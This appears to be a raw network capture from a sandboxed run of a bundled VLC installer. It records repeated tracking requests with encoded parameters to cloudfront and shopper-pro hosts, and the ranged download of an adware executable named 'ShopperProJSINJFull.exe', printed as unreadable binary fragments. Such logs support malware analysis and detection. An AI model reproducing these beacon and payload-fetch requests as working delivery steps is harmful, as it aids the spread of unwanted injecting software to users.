GET /p.ashx?e=b1dRW7RxYKfUIwSieNK cB3DZvRfP/q4vMo6MfIMSUkDt2EUeZbtRVRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaG/QElqGjn9p9CUHeR8YCF3sp NWI2cIltPikZQYOt/VMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:38 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e985f18640f58cd27a9756c50a97a37d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AgW0ebxAUNNtqoxfVncP_or0oO_nMa5W5QoE8HGCmGaoR_jnpXSSbQ==
....


GET /p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1Wp3jNnuGZ/QCM8BjoE4r5ojgb6v7cXpPtX8qMQRZgpmz/9fsKQO4 yu6aPorR5b/Qlc4m6AJLdytjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29ozWIN5/5zPOEwmns505UICd56UH 7ayaQkiNLnzIALkbv9q98gu8BVA4sAdD6TRqA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:39 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e985f18640f58cd27a9756c50a97a37d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: tjDZvod7xyO4zY1u8N6K1EtFcRSRV3hUy4SncHtP96jkLGYFuVww3w==
....


GET /p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1VDL5O8sflI1 03aTMX7laps IILilpWF3u3FmdwwefTpJwm7wLvIGql7 MWoTgv1cPg3JQuiDoocCy UGDO9OHqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Jru9GZ/KDSdRdfLRZLbVEh5X9csBHQgwJLdU5190TUYE8xhGIB/kWqhM X1Brutpw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:31 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e985f18640f58cd27a9756c50a97a37d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: u3Wp-HQEQV2ri9rZCckurPowbxwaHp5aX5T3S1SGiGSq18W9SOj9wg==
....


GET /p.ashx?e=c0XmKevqA0l7JuQ3F68GrGKx9xdR17AbQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3e0AXCpjXObWOn/fIJu7GijIUabVo1C7UX83Aa0SK yIKLD/sK6fa8FRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaEVp nOsv5TlY4G r 3F6T7M 2x4nq/V4db8yl/lmEDu8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfYgoCl3U8undjp/3yCbuxooyFGm1aNQu1F/NwGtEivsiFvZ6IbTYsME= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:39 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e985f18640f58cd27a9756c50a97a37d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ePJAXBPqOr6hz693q2oOBZ1gXbNbq3DCuT0WHh_TGK9M2eLBmlquSg==
....


GET /p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1V7T8dW3vpmMBQC drCF7eFnfXu8jqisF9cJKC1Reo3n9ppTNOjE5 LPSZuizlKZS4vVGidJQzQbwcX153juosl0uSr4audwd7JcEM/wt3T7JEXnUcAfrYQBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLJdrvut0vueXn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC4Xwql6nKegU HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:31 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e985f18640f58cd27a9756c50a97a37d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vafQhxt2awAaXhwpzc3RNcB7H4LRcdUgOs3MKAEp2eRykAlUU-c7QA==
....


GET /p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1XHmSIpx5WtIABZGQjpShx/0JQd5HxgIXfZqK6OcR1oPZEcs3sjXWP5zsjRfLbRUWFnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpjNneMLcmeanzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrm4sJi/93Urb HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net



GET /p.ashx?e=c0XmKevqA0l7JuQ3F68GrGKx9xdR17AbQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3e0AXCpjXObWOn/fIJu7GijIUabVo1C7UX83Aa0SK yIKLD/sK6fa8FRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaE9yUCqErzGmATxIUcsgQ w232AJ3j TD6Kbmw8PKJQLPjZXu6Hs6 2B1mHf78MaJ/HnXhYKKFGG/tmSqlaZjCZujn/aHBplicf/A9tnzJAkTVcL53uMd8Iw1AZZY6ZilPCJ PEul3tvEVIsnpzFFnZ1V4Hek0AV9k32wH3ZNkBKlfbDca4SwBvUUrZ RbO4BdX2w3GuEsAb/Lz5gk8LZkHnyAtpD5T D9r8aUNXVhPTwFowOuez0DW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jNYg3n/nM84TCaeznTlQgJ3npQf7trJpCSI0ufMgAuRu/2r3yC7wFUDiwB0PpNGoA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:32 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e985f18640f58cd27a9756c50a97a37d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HtYDopd9_cV0o6KhBz9BEidUNc58PIVR0P84yhptWMx8QfvDRPeY7g==
....


GET /p.ashx?e=eFCD8T/coiex1kvX9v50CLntjDQb6Myz/WD6e6SZIIGq9exvwYRubwRSl12vCJvFYrI83FKK/ zn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC s14nL72j0Xh7xDRHKvaar6Ab3slVN/KgjH8Q87Lvkg4u3oGHN86wMVvLxh6eIKnHvKbjUyzCCcFAL52sIXt4WvqlYaxbLxssmdOYlMc5582M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jNYg3n/nM84TCaeznTlQgJ3npQf7trJpCSI0ufMgAuRu/2r3yC7wFUDiwB0PpNGoA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:40 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e985f18640f58cd27a9756c50a97a37d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: SWr4zLoK5Kvp2K6_b8c_FeCVDYnwU9eLeBzIgzO0smRIUjCXWJdfhg==
....


GET /p.ashx?e=wlkQ3WKgYpT/HsUBn07KUiWqRVUESB2PjtIF7JX52xd4E7mrr1h80v8gl1CzC7piUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5IjhINkhtyPzBaw9/EHkCQJZwiPBAxskT9/M1qg9mP3gfJNd4VqhSAhk2COVVvHCTb5Jjgb6v7cXpPtcDuD9ajr0lL 4IgVQCGNdqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Jru9GZ/KDSdRdfLRZLbVEh5X9csBHQgwJLdU5190TUYE8xhGIB/kWqhM X1Brutpw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:40 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e985f18640f58cd27a9756c50a97a37d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PU8ZnnNvoncZZW0LjXaAXv3raI4YNE886z8J5yPvsIiSgx6bSUXvxw==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:43:40 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 e985f18640f58cd27a9756c50a97a3
7d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: PU8ZnnNvoncZZW0LjXaAXv3ra
I4YNE886z8J5yPvsIiSgx6bSUXvxw==......



GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d26eh3hrk8d78y.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 14 Dec 2014 06:03:41 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 14 Dec 2014 06:13:41 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 413

X-Cache: Hit from cloudfront

Via: 1.1 9f052ba87bc5fa1f880f0c6f7ab1cac5.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 16snEeIl7Ouwp-I_KKGjjCGgtry2LH25rZ2YrbxJ-UDb5ruWn5-ozw==
1b75.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0.
.H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O....
.y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..
cy.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^
..K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}
...7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3
....w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....
g.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w.
........l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN.
..zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X..
....._..]~....k.en...H..h.-....x...#.Y.._...../.yg^.u......{.K..Y..CwO
>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i....y.)`
...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.?..?Abp
.....f.....U]...[<...o..........:8..M..........\....vUo..k.J....[.K
..nQ.e.._.S..:<.....6...............u.zS....Y..x.*.....;......B<
}.E6Y...t..2..&..jB.G..e}....g.,..5.~.t......3.4....x....8..u1.".M\..M
Qf3.3V..w....W":.j.8..6n.B:..`..v...#x..Icb..9.-:.H..u^,....*g......9.
..0...(.V[F.G.Wo|.......h.6uY..3......_M...b....'.B.4.u6......m...S.Lw
.......M4k.......m9.....U.......[../[email protected]....:.s.....Y...g...%..D.
I....B..k.......U.G.Lxo%.....$.N.......%.W38..0P.d[..B.....E..x...V.o6
[email protected].*6....;/.b..
;..3.04M.Z..........j..<F.F.t(..G.=.....UU.4uO.}..b..5.b ...&u]
<<< skipped >>>


GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=16972771-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:42:32 GMT

Content-Type: application/octet-stream

Content-Length: 5657590

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 16972771-22630360/22630361
.....N......A....r.....]...w. ,.>..,.U.....2m..p.p^i.c..v.0....lIB.
......nk....j{E.....d..1..:z....hx....:n.Z5..$.E.....X\.u.~....o.>o
@.D..k.UF_.S..M......."...R.,h{g|..E}.....?h.......|...Z..j#6...Z...e.
.z.....3...Vy(!......|4...[...S e.....]."W:...|........nk....A..1..e.&
gt;=^.....\.......4i. Y'b.....7...3H2.S..5.v..A.....m..4.AQw..%..E..98
. f.* .;......*.Y....y.E[.Fj..x._...y....7...K!Jk.......?2..S.m[....XC
E..g&V......iP..(.zf......=....)k.qq,[email protected]......... ..7.$
.u$...`...k.......c.M..^...*....A.1d9....L..6.......S...&.o..9.....9..
*.R.k..^.. ..\!...[..:..6<(..=.&.....Y.....<3D.......b.....|."R.
............t.Q.bD.?W......e:..\z.z..D..V...5eL\.6.!/....U..Y9.U[.....
..1..Mf.^.<.0....B...L..a. [email protected]....!..(.
Pb..0^....[...I&k.w.UT.!x.4../.R2b.q8..gvc0.....-..][email protected]....~. .
`....p...\N.....~..k...-..A....f.)d..).X...}...X....V..YB....Y.^..K...
#[email protected]....,C.rXut3f...R.......,.$.....Z...5....?e@..~J2.z*k.
....n.. .<4/M.m..{.P|......R../..F_.......o...........1,.....:..Vw.
?...o87.V.....>(.....M..E&.]E...y(u~MA5.......2...!....{L....AK.<
; .Z.~7........HS..UZ...M.....4`~.........IE-.".pL.I. .2RR.}...(......
...3.....fl..g..[...i....(..c.Bj.Xv...T. ....\./.o......d........P7...
B......i H^....W.jt.U....r..r.......V<....8.'w....fE.s.R.}.(.....(0
..y..T.m$.j..y%....~..|.O1$5....zy:..:....v_ .......o\-.2l.S..7y..[.(b
.=.....p%.......`..M]....QM...4..h...7x.-.X ..?Z_8Yy3a.D"...Z..'(A .
..}G..zS......i.h..I.2....;.gDI^[email protected])....Y..g5[j.....}
<<< skipped >>>


GET /app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghVy62gheHB56XqnYmheUgSZTerw9Y85XkjLFx9TDtK6LeQ8ORDV5JWIb10zPabuUDGj/UpE9EQd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjb3ujoAScc5tmwnYolfoJZ0vIqime2r2ml8o3lw7CTCarMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vrCFJaRRqFgPwH9xv7xo/JOfS1dRDuqWExa4opuscR66kJIhcmH67jPZQpTedPDILOntG7/hmYqJpmSeGmIrzgwRCH2XRlb/W HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 503 Service Unavailable

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:55 GMT

Content-Length: 27
The service is unavailable.HTTP/1.1 503 Service Unavailable..Content-T
ype: text/html..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date
: Wed, 17 Dec 2014 16:44:55 GMT..Content-Length: 27..The service is un
available...


GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Tue, 16 Dec 2014 18:33:45 GMT

Last-Modified: Tue, 16 Dec 2014 18:18:33 GMT

ETag: "8636e548ab5cfbeb08cf75949dcd0a42"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-249999/4686543

Age: 79788

X-Cache: Hit from cloudfront

Via: 1.1 627cfcd63872f08990562b39898647d0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: guTtcW0UBcFmL-zmaxYoZRIIGMLA843kaXIoTQ1lGiSCzuqQe70mRg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive





.c.D.q.......w..nI..N.#fV1kuA.$..][email protected].....?0.*h.
..m.x...d3.,.^gu....`.;HU..N....4(..~.<....Z.S...2tIS..2....m.3.A.o
.0W..@....(.E....2 .kK%.&.[..w.....#x......?.?%..... l.<.s.X%e.V...
....6.........Q.w\.......yo...X.....U..-..\...>..s1/.RUu3.I......:.
t:..90..%...8e..C....kLI..T;.......u.n.2...o/K.|.lR..}..k>(.7eN....
B.......>0fZ....=.b..._..0-.m...]g.J.}.]J*...Wfn. ..............-..
....38....U..-.a....2.M.4...F.....(....../...G......2..../..)...H.....
.....].f.Uf.?z....N...6...3.jy.-.v..f.%...............<.bE.h.O..w1.
.4Z`q.4.....?:...5..Bk.we..B}2.Jc.N.#......f..D<...^..qj.;.]..e.=..
.6.. .g.X.S.K.al$.V.W.|$\&.M..,..eA.{..Y.8.Y.*..Q<..........9.....}
.Iv.e...Y.{>od...nz...%.9..../.%.8o.f......C...........CUlO...N..yQ
.......q2.......<...3Ti..a@.=..0,.....K...J.....$.v.!....Jn.J9=..t.
...`.)......u [email protected]`............[.P..GGg-........B.PT..f.... ...
...-.,...[.J.t.:k...........ct..t......T.V...h.`...u..W....E.f|...S...
....Q..i.nZ.uJ....x...W...I..4I"._..Ds.0Yue..;.....G..y.)..R.....2 ...
.;..MU...x...ec..F(T.^H..........E`a.. _"......u.ft.5.N..6.j.V.$"z..A;
w.{.I_....t..uB._...\....Y.{..&.].kBP...2,.....DQv..S.u..V.....C.9N.F.
.Wtw.D&.J.....P~u.K|=.4.=...9..W[E..%^.6.C.lT..^_e_>..{.l.R.g......
p.e.1.g..oR*.!g.^.....T....Gi3...z......Jp..j!#Lf.|...[...6..........M
O d~.c..8..._..*}..J...K}........./....=..1....#=l ...IT6.).Z.w08...Qk
~....M#...a.l....ni..........H. ...N.J..!.H9Dy&J...zC..VKBm...".{.\K..
.....m~g...2W...t7j.`..^........3.......|g....L:..<..=VQ......O
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive





l..R...L=....vB.h...|....G.$WZD...x...!|.7....Gc2......h"E.Bs..s.u..}.
.."OE{...M...H...bwi.uK.{@A....9.t6.x...af_P...u....,#.?P... .6oL..q..
\i..]{..vE..#.M..2.]...a.L.........T..?a.......s.u.@lTm..[."....^l..T.
..E..K0cN..P...P.m..`..:h.P:C.F1.(.`0uID...d...._vY!x...].......).....
}m..U.B.q..Z..L.i..C..[Jo....YL...RQ3........x.........\.$WF...S93O6..
$J=..l$..'...5m.V..;%.....'..K.h[.......I&`.WBE..^o~&k...............p
.7... 5..pXQ..}Q.6nd..ps.?.... .-..rd.g.o.........."..2.iP..D..D..a6..
.N?Z.*.....%l.......~..........q.......}m..2........N#.x8.P....j......
.7........-.........I..wr....~.....4o......eJ..qw..;...G....#.....,...
.|..6.v..-....v.C..).G...{...O...[H.mZh.v....X.1..F....>...e.......
..L&.([email protected].!.<.Tn .%.u.:.E./N.Uh..=._cI....Y..B......N. S...M.%
o...<..Y..Ho@)>.j.r.Z...d....>BS...j.~".5......8.$.;...Q.!...
;....!.........X.#K...n....j.%u..^R......Z..^.t..s#.\.....>^95.S...
...G|..t=.8....ELC..x<....swN.d...p...U3L..E.&\.\,.4.d..g]........A
..^Q......a....m...g...<......e.b.$/...uo...*.*..|.ZmUp.|k.c..>;
SSD.p.....rQ....t..W.......'.?#k.ZR.>...&.-U..8c....).,..D..{..2..t
...F.......T......\..P.Q..a.M.....b.."[email protected]|.O.q`:
..j..-.*....N...NQd....IF9....w.....r%..&..T..8j.Z)........r..u..r-/..
1n..=..G.Ay...W.....5.....1.0~./.hW..T.._...?...#`..b.J]-..e_5...n.X..
.=.C..}..N.......X8.N.]......r.........15.g.W..6R......o8`.g6t...a....
....$.[.p....=.0.g...#.....b<.Y..B......#...L.G.Bp.o....Z..b.......
........r..r...F....D.p>t..x...,.rF# .....Nl\/N.K..'.....6..M.-
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Tue, 16 Dec 2014 18:33:45 GMT

Last-Modified: Tue, 16 Dec 2014 18:18:33 GMT

ETag: "8636e548ab5cfbeb08cf75949dcd0a42"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1500000-1749999/4686543

Age: 79790

X-Cache: Hit from cloudfront

Via: 1.1 627cfcd63872f08990562b39898647d0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hMzGkz4XzzVa0mgIhAU4bIe7jGgZi9X5-VgDmmlXhGZU1dL7_bgdYQ==
$.....k.r.L..i%.(D#.C...J.....-..Q...a....U..y....8lp./P.}...s.6[.T=..
.....O....#..U......K........Y.....c........@...".^@...^..8....Q.V....
..9/.gd........f.#..W.`..yQ.....YaD...<RyY.[.C........(.....g......
...........d..'.z\..........a...........8....V........z..~.U...=....D.
....l.W~...LR...."@*..T.c.v.o...x.:G\.w:...C....vCw/."........=..AZ...
rDkQ...O1.f..0I=..&..P`([email protected],......9T.{?;.WEt
...g...o.Dk..8K..]7N.N..G^M........c.h..9X..-......k...7....>.I....
...x.w.~.....O..|[o............H.\.....I.\........t....\..Ax..\Sg....E
^)f...-!....h. .eG..(!.|...bM:$..i.7.,... .R....LB..x. .&a.2....h.6<
;P...=I....J.\..$.qW.5@...@4M i\..@.}..Ti2.....Y.N..K.n4....I.v.......
f3...\. ....,...0..a...\.-.?Y-|.V... .*.|..#9...x.j:)i....o.H...dVtm..
..~$..e........h...`4..R#=...n4... ..N..I..*... ../}.!.:)r."2...a0G.ld
rH.nuD{@.c.5.i....!....s.(..7...;0wY.0.J;.. glx.K..v/9...8...U.K.iM.".
Z.S..cMd..!.4..{...:..'.n.@(....M..9zm@.)~.....Kg$.......e.._..O.....Y
!.....7..cv......Dcm.T..x.6%s..SR......cJY..w.*..348.gM....g.mJ..<.
.m.$D.,.."`)..E#....r`(..K...<.|....p~.#....'>D.0-..X....3}Yt.E.
.W....;......:.K...{|..~......v7.:.W.......J......n.bH6..4..%.P..a)B..
..R...U........ .>[.(/Gwya%*.....\......"...Z..M..n%..t.;.....@"m..
.....I.?Js,.U.y....Z...e.J.`.......My....i..z.E.cw1 .rt|..Cq...\......
.P..^.....Y .....d...../...uf.t.........fUO..|W.%.m.2..TK.eB.....c.d..
..s.O...}.o....S.1VVoF}.&*J...b...0..H..>...~...Hv.4..[..E/.oW.E...
...0P.#...X.2TiD..._..w$.6YS.i};.b.3....`.].z,...lo....`.5....m$..
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d2bt1dcmxj05l2.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Tue, 16 Dec 2014 18:33:45 GMT

Last-Modified: Tue, 16 Dec 2014 18:18:33 GMT

ETag: "8636e548ab5cfbeb08cf75949dcd0a42"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2000000-2249999/4686543

Age: 79790

X-Cache: Hit from cloudfront

Via: 1.1 627cfcd63872f08990562b39898647d0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: VrnSJ-JiGloLM99pk3b4lsb41Cw9maGs34Og30v-u1tjY7705FzLYQ==
...B (....9a.R.64..V..o...J...5^@....|L...b.........B6\"...c...jv..!..
.~M1......T...."..ZW..e......w..^f:.).............X..2o.[.......-.wz&&
lt;./.Dm.N.....U..w...Q._q.b#...b9.V..........T7....oa.c.^.<....q.:
V52dY].k..S..R.....8".F.f....[.U4.............k-.....f@.)......N!..N.d
R...;.%[..F$.~..KO..E.l1.}`F.1<..E.6pXi..IH.Q.......Bd.ev9..S.<=
:md....XH.f`........`..nesd...[.. ...X...:..........d..u...`..8...Fd6(
.S..0sI...........*d.$.x..b.p...R..#S...F..Ki..H,.k.H......?..=^...`Se
.5...gv..Bv.H.........%..q..&....O..9..@[email protected]..;...:.@.
y...5............0L]..-.jY.1.....H7.k.......,.....c..U.....cf.....T.".
